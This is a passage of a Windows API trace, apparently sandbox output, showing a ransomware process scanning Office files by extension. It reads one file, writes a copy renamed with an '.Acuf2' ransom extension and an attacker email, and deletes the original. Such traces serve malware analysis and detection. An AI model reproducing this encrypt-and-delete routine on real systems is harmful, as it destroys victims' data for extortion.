	[0262.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.390] lstrlenW (lpString=".doc") returned 4
	[0262.390] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.390] lstrlenW (lpString=".docx") returned 5
	[0262.390] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.390] lstrlenW (lpString=".pdf") returned 4
	[0262.390] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.390] lstrlenW (lpString=".xls") returned 4
	[0262.390] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.390] lstrlenW (lpString=".xlsx") returned 5
	[0262.391] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.391] lstrlenW (lpString=".ppt") returned 4
	[0262.391] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString=".zip") returned 4
	[0262.391] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString=".rar") returned 4
	[0262.391] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString=".bz2") returned 4
	[0262.391] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.391] lstrlenW (lpString=".7z") returned 3
	[0262.391] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString=".dbf") returned 4
	[0262.391] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString=".1cd") returned 4
	[0262.391] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString=".jpg") returned 4
	[0262.391] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.391] lstrlenW (lpString=".doc") returned 4
	[0262.391] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString=".docx") returned 5
	[0262.391] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.391] lstrlenW (lpString=".pdf") returned 4
	[0262.391] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.391] lstrlenW (lpString=".xls") returned 4
	[0262.391] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.392] lstrlenW (lpString=".xlsx") returned 5
	[0262.392] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.392] lstrlenW (lpString=".ppt") returned 4
	[0262.392] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.392] lstrlenW (lpString=".zip") returned 4
	[0262.392] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.392] lstrlenW (lpString=".rar") returned 4
	[0262.392] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.392] lstrlenW (lpString=".bz2") returned 4
	[0262.392] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.392] lstrlenW (lpString=".7z") returned 3
	[0262.392] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.392] lstrlenW (lpString=".dbf") returned 4
	[0262.392] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.392] lstrlenW (lpString=".1cd") returned 4
	[0262.392] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60
	[0262.392] lstrlenW (lpString=".jpg") returned 4
	[0262.392] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.392] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.392] lstrlenW (lpString="IPOLKINTL.DLL") returned 13
	[0262.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.393] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=255920) returned 1
	[0262.393] CloseHandle (hObject=0x220) returned 1
	[0262.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll")) returned 0x20
	[0262.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.393] lstrlenW (lpString=".doc") returned 4
	[0262.393] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.393] lstrlenW (lpString=".docx") returned 5
	[0262.569] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.576] lstrlenW (lpString=".pdf") returned 4
	[0262.576] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.576] lstrlenW (lpString=".xls") returned 4
	[0262.576] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.576] lstrlenW (lpString=".xlsx") returned 5
	[0262.576] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.576] lstrlenW (lpString=".ppt") returned 4
	[0262.584] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.584] lstrlenW (lpString=".zip") returned 4
	[0262.584] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.599] lstrlenW (lpString=".rar") returned 4
	[0262.599] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.599] lstrlenW (lpString=".bz2") returned 4
	[0262.599] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.599] lstrlenW (lpString=".7z") returned 3
	[0262.599] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.599] lstrlenW (lpString=".dbf") returned 4
	[0262.599] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.599] lstrlenW (lpString=".1cd") returned 4
	[0262.599] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.599] lstrlenW (lpString=".jpg") returned 4
	[0262.599] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString=".doc") returned 4
	[0262.600] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString=".docx") returned 5
	[0262.600] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.600] lstrlenW (lpString=".pdf") returned 4
	[0262.600] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString=".xls") returned 4
	[0262.600] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString=".xlsx") returned 5
	[0262.600] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.600] lstrlenW (lpString=".ppt") returned 4
	[0262.600] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString=".zip") returned 4
	[0262.600] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString=".rar") returned 4
	[0262.600] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.600] lstrlenW (lpString=".bz2") returned 4
	[0262.600] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.600] lstrlenW (lpString=".7z") returned 3
	[0262.600] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString=".dbf") returned 4
	[0262.600] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString=".1cd") returned 4
	[0262.600] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61
	[0262.600] lstrlenW (lpString=".jpg") returned 4
	[0262.600] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.601] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.601] lstrlenW (lpString="MAPIR.DLL") returned 9
	[0262.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.749] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1124720) returned 1
	[0262.749] CloseHandle (hObject=0x328) returned 1
	[0262.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll")) returned 0x20
	[0262.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.039] lstrlenW (lpString=".doc") returned 4
	[0263.039] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString=".docx") returned 5
	[0263.039] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0263.039] lstrlenW (lpString=".pdf") returned 4
	[0263.039] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString=".xls") returned 4
	[0263.039] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString=".xlsx") returned 5
	[0263.039] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0263.039] lstrlenW (lpString=".ppt") returned 4
	[0263.039] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.039] lstrlenW (lpString=".zip") returned 4
	[0263.039] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString=".rar") returned 4
	[0263.039] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.039] lstrlenW (lpString=".bz2") returned 4
	[0263.040] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.040] lstrlenW (lpString=".7z") returned 3
	[0263.040] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString=".dbf") returned 4
	[0263.040] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString=".1cd") returned 4
	[0263.040] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString=".jpg") returned 4
	[0263.040] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString=".doc") returned 4
	[0263.040] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString=".docx") returned 5
	[0263.040] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0263.040] lstrlenW (lpString=".pdf") returned 4
	[0263.040] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString=".xls") returned 4
	[0263.040] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString=".xlsx") returned 5
	[0263.040] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0263.040] lstrlenW (lpString=".ppt") returned 4
	[0263.040] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.040] lstrlenW (lpString=".zip") returned 4
	[0263.040] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString=".rar") returned 4
	[0263.040] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.040] lstrlenW (lpString=".bz2") returned 4
	[0263.040] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.041] lstrlenW (lpString=".7z") returned 3
	[0263.041] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.041] lstrlenW (lpString=".dbf") returned 4
	[0263.041] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.041] lstrlenW (lpString=".1cd") returned 4
	[0263.041] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57
	[0263.041] lstrlenW (lpString=".jpg") returned 4
	[0263.041] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.041] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0263.041] lstrlenW (lpString="MSOUC_COL.HXC") returned 13
	[0263.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.041] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=621) returned 1
	[0263.041] CloseHandle (hObject=0x354) returned 1
	[0263.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 0x20
	[0263.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.042] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.042] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.042] GetLastError () returned 0x0
	[0263.042] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x26d, lpOverlapped=0x0) returned 1
	[0263.082] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x270, lpOverlapped=0x0) returned 1
	[0263.083] ReadFile (in: hFile=0x354, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.083] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.083] SetEndOfFile (hFile=0x32c) returned 1
	[0263.154] CloseHandle (hObject=0x32c) returned 1
	[0263.154] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.154] SetEndOfFile (hFile=0x354) returned 1
	[0263.157] CloseHandle (hObject=0x354) returned 1
	[0263.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 1
	[0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.329] lstrlenW (lpString=".doc") returned 4
	[0263.329] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.329] lstrlenW (lpString=".docx") returned 5
	[0263.329] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.329] lstrlenW (lpString=".pdf") returned 4
	[0263.329] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.329] lstrlenW (lpString=".xls") returned 4
	[0263.329] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.329] lstrlenW (lpString=".xlsx") returned 5
	[0263.329] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.329] lstrlenW (lpString=".ppt") returned 4
	[0263.329] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.329] lstrlenW (lpString=".zip") returned 4
	[0263.329] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString=".rar") returned 4
	[0263.330] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString=".bz2") returned 4
	[0263.330] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.330] lstrlenW (lpString=".7z") returned 3
	[0263.330] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString=".dbf") returned 4
	[0263.330] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString=".1cd") returned 4
	[0263.330] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString=".jpg") returned 4
	[0263.330] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString=".doc") returned 4
	[0263.330] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.330] lstrlenW (lpString=".docx") returned 5
	[0263.330] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.330] lstrlenW (lpString=".pdf") returned 4
	[0263.330] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString=".xls") returned 4
	[0263.330] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString=".xlsx") returned 5
	[0263.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.330] lstrlenW (lpString=".ppt") returned 4
	[0263.330] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.330] lstrlenW (lpString=".zip") returned 4
	[0263.330] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.330] lstrlenW (lpString=".rar") returned 4
	[0263.331] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.331] lstrlenW (lpString=".bz2") returned 4
	[0263.331] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.331] lstrlenW (lpString=".7z") returned 3
	[0263.331] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.331] lstrlenW (lpString=".dbf") returned 4
	[0263.331] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.331] lstrlenW (lpString=".1cd") returned 4
	[0263.331] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61
	[0263.331] lstrlenW (lpString=".jpg") returned 4
	[0263.331] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.331] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0263.331] lstrlenW (lpString="MSTORE_COL.HXC") returned 14
	[0263.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0263.362] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=626) returned 1
	[0263.362] CloseHandle (hObject=0x29c) returned 1
	[0263.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 0x20
	[0263.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
